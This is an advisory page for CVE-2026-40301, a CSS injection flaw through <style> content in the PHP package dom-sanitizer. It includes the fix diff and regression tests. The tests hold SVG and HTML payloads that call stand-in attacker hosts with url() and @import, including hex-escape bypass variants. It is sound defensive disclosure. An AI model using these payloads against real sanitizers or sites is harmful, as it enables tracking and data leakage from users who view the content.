Medium severity4.7NVD Advisory· Published Apr 17, 2026· Updated Apr 29, 2026
CVE-2026-40301
CVE-2026-40301
Description
DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
rhukster/dom-sanitizerPackagist | < 1.0.10 | 1.0.10 |
Affected products
2- Range: <1.0.10
Patches
149a98046b708fix for CSS injection via SVG/HTML <style> text content (GHSA-93vf-569f-22cq)
2 files changed · +132 −1
src/DOMSanitizer.php+44 −1 modified@@ -111,7 +111,12 @@ public function sanitize(string $dom_content, array $options = []): string for($i = $elements->length; --$i >= 0;) { $element = $elements->item($i); $tag_name = $element->tagName; - if(in_array(strtolower($tag_name), $tags)) { + $tag_name_lower = strtolower($tag_name); + if(in_array($tag_name_lower, $tags)) { + if ($tag_name_lower === 'style' && $this->hasDangerousStyleContent($element->textContent)) { + $element->parentNode->removeChild($element); + continue; + } for($j = $element->attributes->length; --$j >= 0;) { $attr_name = $element->attributes->item($j)->name; $attr_value = $element->attributes->item($j)->textContent; @@ -327,6 +332,44 @@ protected function isDangerousUrl(string $attr_name, string $attr_value): bool return false; } + /** + * Determines if a <style> element's text content contains CSS that would + * cause the browser to fetch external resources: @import rules, url() + * references to external schemes (http, https, ftp, protocol-relative, + * data:), or legacy IE expression(). CSS hex escapes (\hh ) are decoded + * first so escape-based bypasses are caught (GHSA-93vf-569f-22cq). + * Fragment references like url(#gradient) are preserved. + * + * @param string $css + * @return bool + */ + protected function hasDangerousStyleContent(string $css): bool + { + $normalized = preg_replace_callback( + '/\\\\([0-9a-fA-F]{1,6})[ \t\n\r\f]?/', + function ($m) { + $code = hexdec($m[1]); + if ($code <= 0 || $code > 0x10FFFF) { + return ''; + } + return mb_chr($code, 'UTF-8') ?: ''; + }, + $css + ); + $normalized = preg_replace('/\\\\([^0-9a-fA-F\r\n\f])/', '$1', $normalized); + + if (preg_match('/@import\b/i', $normalized)) { + return true; + } + if (preg_match('/url\s*\(\s*["\']?\s*(?:https?:|ftp:|\/\/|data:)/i', $normalized)) { + return true; + } + if (preg_match('/expression\s*\(/i', $normalized)) { + return true; + } + return false; + } + /** * Does various regex cleanup *
tests/DomSanitizerTest.php+88 −0 modified@@ -455,6 +455,94 @@ public static function providerWhitespaceEntityBypass(): array ]; } + // ========================================================================= + // GHSA-93vf-569f-22cq: CSS injection via <style> text content + // ========================================================================= + + /** + * @dataProvider providerDangerousStyleContent + */ + public function testDangerousStyleContentStripped(int $mode, string $input, string $description): void + { + $sanitizer = new DOMSanitizer($mode); + $output = $sanitizer->sanitize($input); + + $this->assertStringNotContainsString('attacker.example', $output, "Failed: $description"); + $this->assertStringNotContainsString('evil.example', $output, "Failed: $description"); + $this->assertStringNotContainsString('@import', $output, "Failed: $description"); + } + + public static function providerDangerousStyleContent(): array + { + return [ + [ + DOMSanitizer::SVG, + '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url("https://attacker.example/c"); }</style></svg>', + 'SVG <style> with quoted external url() should be dropped', + ], + [ + DOMSanitizer::SVG, + '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/c); }</style></svg>', + 'SVG <style> with unquoted external url() should be dropped', + ], + [ + DOMSanitizer::SVG, + '<svg xmlns="http://www.w3.org/2000/svg"><style>@import url(https://attacker.example/evil.css);</style></svg>', + 'SVG <style> with @import url() should be dropped', + ], + [ + DOMSanitizer::SVG, + '<svg xmlns="http://www.w3.org/2000/svg"><style>@import "https://attacker.example/evil.css";</style></svg>', + 'SVG <style> with quoted @import should be dropped', + ], + [ + DOMSanitizer::SVG, + '<svg xmlns="http://www.w3.org/2000/svg"><style>body { background: url(//evil.example/x); }</style></svg>', + 'SVG <style> with protocol-relative url() should be dropped', + ], + [ + DOMSanitizer::SVG, + '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: \75 rl(https://attacker.example/x); }</style></svg>', + 'SVG <style> with CSS hex-escape bypass should be dropped', + ], + [ + DOMSanitizer::SVG, + '<svg xmlns="http://www.w3.org/2000/svg"><style>\40 import url(https://evil.example/e.css);</style></svg>', + 'SVG <style> with CSS hex-escaped @import should be dropped', + ], + [ + DOMSanitizer::HTML, + '<div><style>body { background: url(https://attacker.example/x); }</style></div>', + 'HTML <style> with external url() should be dropped', + ], + ]; + } + + /** + * Legitimate <style> content must survive sanitization, including + * fragment-only url(#id) references used by SVG defs/gradients/filters. + */ + public function testLegitimateStyleContentPreserved(): void + { + $sanitizer = new DOMSanitizer(DOMSanitizer::SVG); + + $fragment = '<svg xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="g"/></defs><style>.cls { fill: url(#g); stroke: #000; }</style><rect class="cls"/></svg>'; + $output = $sanitizer->sanitize($fragment); + $this->assertStringContainsString('<style>', $output, 'Fragment url(#id) style block must be preserved'); + $this->assertStringContainsString('url(#g)', $output, 'Fragment reference must be preserved'); + + $plain = '<svg xmlns="http://www.w3.org/2000/svg"><style>.a { fill: red; stroke: #00f; font-family: sans-serif; }</style><rect class="a"/></svg>'; + $output = $sanitizer->sanitize($plain); + $this->assertStringContainsString('<style>', $output, 'Plain style rules must be preserved'); + $this->assertStringContainsString('fill: red', $output, 'Plain style rules must be preserved'); + + $htmlSanitizer = new DOMSanitizer(DOMSanitizer::HTML); + $html = '<div><style>.foo { color: red; }</style><p>ok</p></div>'; + $output = $htmlSanitizer->sanitize($html); + $this->assertStringContainsString('<style>', $output, 'HTML plain style rules must be preserved'); + $this->assertStringContainsString('color: red', $output, 'HTML plain style rules must be preserved'); + } + protected function assertEqualHtml($expected, $actual, $message = '') { $from = ['/\>[^\S ]+/s', '/[^\S ]+\</s', '/(\s)+/s', '/> </s'];
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5- github.com/advisories/GHSA-93vf-569f-22cqghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-40301ghsaADVISORY
- github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2nvdWEB
- github.com/rhukster/dom-sanitizer/releases/tag/1.0.10nvdWEB
- github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cqnvdWEB
News mentions
0No linked articles in our index yet.